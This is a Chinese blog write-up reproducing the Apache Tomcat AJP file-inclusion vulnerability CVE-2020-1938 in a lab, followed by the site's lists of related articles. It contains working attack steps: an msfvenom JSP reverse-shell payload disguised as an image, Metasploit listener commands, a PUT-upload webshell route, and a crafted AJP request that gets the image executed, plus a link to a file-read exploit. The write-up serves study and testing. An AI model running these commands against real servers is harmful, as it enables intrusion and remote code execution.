​一、漏洞背景

2020年02月20日,国家信息安全漏洞共享平台(CNVD)发布了关于Apache Tomcat文件包含漏洞(CVE-2020-1938/CNVD-2020-10487)的安全公告。Tomcat作为一款免费开源轻量级的web应用服务器,广泛应用于并发量不是很高的场合,Tomact默认端口8080用于处理http请求,Tomcat会监听AJP连接器的8009端口,用于与其他Web服务器通过AJP协议进行交互,由于Tomcat AJP协议存在设计缺陷,攻击者可构造特定的payload读取服务器WEB目录下的任意文件以及可以包含任意文件,若存在上传点,可以获取shell,进一步进行远程代码执行。

二、影响版本

Apache Tomcat 6

Apache Tomcat 7 < 7.0.100

Apache Tomcat 8 < 8.5.51

Apache Tomcat 9 < 9.0.31

三、漏洞复现

这里为了更加直观方便的复现CVE-2020-1938,采用WindowsServer + Apache Tomcat 8.5.19环境。

1、搭建环境

首先上官网下载Apache Tomcat 8.5.19,当然别忘了JAVA。

https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.19/

下载完直接放在服务器任意文件夹,在bin目录开启Tomcat,其实浏览器打开默认端口8080就行,看到熟悉的Tomcat界面说明那就是OK的。

2、msf生成反弹木马

用msf生成一个jsp反弹木马。这里为了更方便接近生产环境我们直接生成一个图片马儿。

msfvenom -p java/jsp_shell_reverse_tcp LHOST=本机IP LPORT=监听端口 R >muma.jpg

OK,已经生成了一个文件名为muma.jpg的图片木马。

接下来我们利用一下metasploit中的exploit/multi/handler后门模块进行攻击。

监听

use exploit/multi/handlerset payload java/jsp_shell_reverse_tcpset lhost 本机IPset lport 监听端口

3、任意文件上传

这里我们顺便就用Apache Tomcat 8.5.19来做一个任意文件上传漏洞的复现,在服务器上修改配置文件/conf/web.xml,允许tomcat用PUT方式提交,使其产生一个任意文件上传的漏洞,不多说,自行脑补CVE-2017-12615。

修改tomcat配置文件/conf/web.xml,添加readonly参数,属性改为false。

抓取tomcat页面数据包,修改提交方式为PUT,构造payload,上传webshell

访问一下这个webshell

就可以远程执行任意命令了,当然,如果权限不足的话还得提权,这里就不做演示了。

4、反弹shell

回到正题(接第2篇)假设说某个运行在该版本tomcat上的业务有个上传点,我们在上传目录upload上传了我们刚才生成的反弹图片马。

下载一个AJP包构造器ajpfuzzer_v0.6.jar

URL:https://github.com/doyensec/ajpfuzzer/releases

运行java -jarajpfuzzer_v0.6.jar

执行connect 目标ip 8009连接目标端口

java -jar ajpfuzzer_v0.6.jarconnect 目标IP 8009

执行下面命令构造并发送AJP包,其中/upload/muma.jpg为上传的木马路径,其中ma.jsp可以换为任意该web项目中没有的jsp文件,这样tomcat才会去调用DefaultServlet.

forwardrequest 2 "HTTP/1.1" "/ma.jsp" 192.168.194.133 192.168.194.133 porto 8009 false "Cookie:AAAA=BBBB","Accept-Encoding:identity" "javax.servlet.include.request_uri:ma.jsp","javax.servlet.include.path_info:/upload/muma.jpg","javax.servlet.include.servlet_path:/"

请求发送成功后,ma.jpg被当做jsp解析,成功拿到shell

5、Tomcat Ajp协议文件读取漏洞

用大佬写的EXP直接任意文件读取

https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

KillBoy安全实验室

回归技术本质,引领实战潮流

发卡网shell漏洞_Apache Tomcat文件包含漏洞(CVE-2020-1938)复现相关推荐

  1. tomcat ajp协议安全限制绕过漏洞_Apache Tomcat文件包含漏洞(CVE20201938)复现

    一.漏洞背景2020年02月20日,国家信息安全漏洞共享平台(CNVD)发布了关于Apache Tomcat文件包含漏洞(CVE-2020-1938/CNVD-2020-10487)的安全公告.Tom ...

  2. tomcat ajp协议安全限制绕过漏洞_Apache tomcat 文件包含漏洞复现(CVE20201938)

    漏洞背景 Tomcat是由Apache软件基金会下属的Jakarta项目开发的一个Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer ...

  3. Apache Tomcat 文件包含漏洞(CVE-2020-1938)

    安全公告编号:CNTA-2020-0004 2020年1月6日,国家信息安全漏洞共享平台(CNVD)收录了由北京长亭科技有限公司发现并报送的Apache Tomcat文件包含漏洞(CNVD-2020- ...

  4. Apache Tomcat文件包含漏洞(CNNVD-202002-1052、CVE-2020-1938)

    文章目录 [漏洞描述] 1,xml配置文件中的修复方法: 2,springboot对应方法: springboot开启AJP方法 开启了AJP的springboot如何升级内置tomcat版本 [漏洞 ...

  5. 【文件包含漏洞-02】文件包含漏洞原理、简单测试实例以及空字符绕过实例

    目录 1 文件包含漏洞 1.1 文件包含漏洞概述 1.2 文件包含漏洞的形成原因/条件 1.3 危害 2 文件包含漏洞简单测试实例 2.1 测试环境 2.2 实例一:本地文件包含 2.3 实例二:远程 ...

  6. java 文件包含漏洞_远程文件包含漏洞(pikachu)

    漏洞介绍 File Inclusion(文件包含漏洞)概述 文件包含,是一个功能.在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件. 比如 ...

  7. 【文件包含漏洞-03】文件包含漏洞的利用及如何利用本地文件包含漏洞GetShell

    文件包含漏洞的利用 读取敏感文件 我们可以利用文件包含漏洞读取任意文件,读取文件的时候有利用条件 目标主机文件存在(目标文件的路径.绝对路径.相对路径) 具有文件可读权限 提交参数http://loc ...

  8. 【文件包含漏洞03】文件包含漏洞的空字符绕过及六种利用方式

    目录 1 内容简介 本节概述 实验环境 2 空字符绕过 2.1 实验基础知识 2.2 实验环境及准备 2.3 实验步骤 2.3.1 正常访问 2.3.2 空字符绕过 2.3.3 额外的方式 3 利用方 ...

  9. 【文件包含漏洞-01】文件包含漏洞成因与其包含语句及其相关配置

    文件包含 概述:程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数的时候,直接调用此文件,无需再次编写,这种调用文件的过程通常称为包含. 程序开发人员都希望代码更加灵活,所以通常会把被 ...

  10. 文件上传漏洞之——远程文件包含漏洞(RFI)

    定义 如果php.ini的配置选项allow_url_include为On的话,文件包含函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞.利用远程文件包含漏洞,可以直接执行任意命令 原理 同本 ...

最新文章

  1. Python3 注释
  2. SpringMVC第一个例子
  3. 启动失败代码2_菲斯曼燃气壁挂炉故障代码大全及解决方法
  4. mysql explain字段含义_史上最全的explain常见结果含义分析,值得收藏
  5. 设计模式是什么鬼(状态)
  6. IntelliJ IDEA打jar时,MANIFEST.MF内容出错
  7. Adobe Illustrator的教程等距购物移动应用程序
  8. Spring bean注入之constructor-arg注入和property注入的区别
  9. python爬虫做毕业论文_关于python的毕业论文_python爬虫毕业论文 - CSDN
  10. Java Web架构知识整理
  11. 2023年天津中德应用技术大学专升本飞行器制造工程专业考试大纲
  12. python sass_引入sass变量
  13. 目标追踪:FCNT、GOTURN、SiamFC、SiamRPN、SiamRPN++
  14. 01 | 时势与英雄:HTTP的前世今生
  15. 汉字转语音 android 软件,文字转语音助手
  16. mt管理器去除应用广告
  17. 屏蔽点击BackSpace键页面后退
  18. 新概念英语第三册51-60课(转)
  19. DecisionTreeClassifier实例:Iris莺尾花分类
  20. 任意进制转换为十进制(十六进制转换为十进制)

热门文章

  1. 浅析busybox如何集成到openwrt
  2. 关于NDK及安装使用
  3. Silverlight Xap和Html Asp.net参数传递
  4. 利用HttpHandler和Cache统计点击量
  5. [转]使用.NET实现断点续传
  6. 【GDB调试学习笔记】Makefile多级目录生成可执行文件
  7. Fragstats 4.2 批处理(geotiff格式)
  8. R中ggplot2绘图学习笔记
  9. 【空间分析-文章学习笔记】1 基于卫星数据反演及空间分析方法对由pm2.5引导的中国男性肺癌的发病率的预测
  10. 【ArcGIS|空间分析】求年度NDVI最大值图像和NDVI最大值出现日期图像